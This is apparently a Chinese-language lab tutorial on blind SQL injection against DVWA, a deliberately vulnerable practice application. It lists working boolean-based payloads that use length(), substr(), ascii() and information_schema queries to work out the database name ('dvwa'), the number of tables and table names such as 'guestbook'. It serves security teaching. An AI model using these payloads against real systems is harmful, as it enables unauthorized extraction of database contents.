1前面我们说了两种SQL注入的方法
接下来我们来说一下第3种SQL盲注
1打开DVWA
点击的我们的SQLInjection(Blind)
Id值输入为1,发现正常显示如图

Id值输入为1’,发现报错如图

判断存在sql注入漏洞
2)判断是否存在数字型漏洞
输入1and1=1显示正常

输入1and1=2,显示仍然正常

故,判断不存在数字型漏洞
(3)判断是否存在字符型漏洞
输入1’and‘1’=’1,正常显示

输入1’and‘1’=’2,没有显示结果

故判断,此处存在一个sql注入漏洞,并且是字符型的漏洞
2、猜解数据库名的长度;猜解当前数据库名
(1)猜解数据库名长度
猜解数据库名长度的函数为length(),用法如下
1'andlength(database())=2#判断数据库名长度为2
页面显示MISSING表明当前猜解长度判断不正确

1'andlength(database())=4#猜数据库名长度为4
页面显示exist,表明当前猜解的长度正确,数据库名的长度为4

(2)猜解当前数据库名
猜解数据库名称需要用到一下三个函数
database():当前使用的数据库
substr(x,y,z):获取x的从y开始的z位;如果省略“z",则取全部的字符串
如substr('xin',1,1);截取的值为x
substr('xin',2,1);截取的值为i
substr('xin',1,2);截取的值为xi
ascii():得字符的ascii值。97-122
如ascii('a');取得的值为97
以判断数据库名第一位为例
1)使用substr函数和database函数
当判断的数据库名第一位不正确时,返回MISSING
1'andsubstr(database(),1,1)='a'#

当判断数据库名第一位正确时,返回exist
1'andsubstr(database(),1,1)='d

2)使用ascii函数、substr函数以及database函数判断
a-z对应的ascii值为97-122
使用ascii函数判断数据库名称时采用二分法判断
第一步:首先判断第一位值是否大于110或小于110

返回MISSING,表明该值小于110
第二步:判断值是否大于或小于104

依旧为MISSING,表明该值小于104
第三步:判断该值是否大于或小于100
1'andascii(substr(database(),1,1))>100#

返回仍未MISSING,接着测试
第四步:判断该值是否大于99
1'andascii(substr(database(),1,1))>99#

返回存在,表明该值大于99
第五步:再判断该值是否小于100
1' and ascii(substr(database(),1,1) )<100#

返回错误,根据上面的判断,该值不大于100,也不小于100,猜测该值为100
故进行100的判断

返回正确,表明该值就为100,100咋ASCII码表里对应的值为“d”,故数据库表明第一位为d
根据之前判断的数据库名的长度为4,我们在进行上述的数据库名值的判断,可以得到数据库名为“dvwa”
3、猜解数据库中表的数量;猜解表名
(1)猜解数据库中的表的数量
使用到的函数count函数
第一步:猜测数据库中的表的数量为1
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
结果显示MISSING

结果显示存在,表明当前数据库中有两个表

(2)猜解表名
1)猜解两个表的长度
猜解第一个表的长度,是用二分法判断,首先判断是否大于10

回显不存在,表明表的长度不大于10,重复操作接着判断
通过判断,可以得到第一个表的长度为9
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5#
2)猜解两个表名称
可以利用以下两种方法判断
substr函数
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#
ascii函数、substr函数结合使用
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
该方法使用二分法判断表名称的ascii值,多次判断,可以得到第一个表的名称为guestbook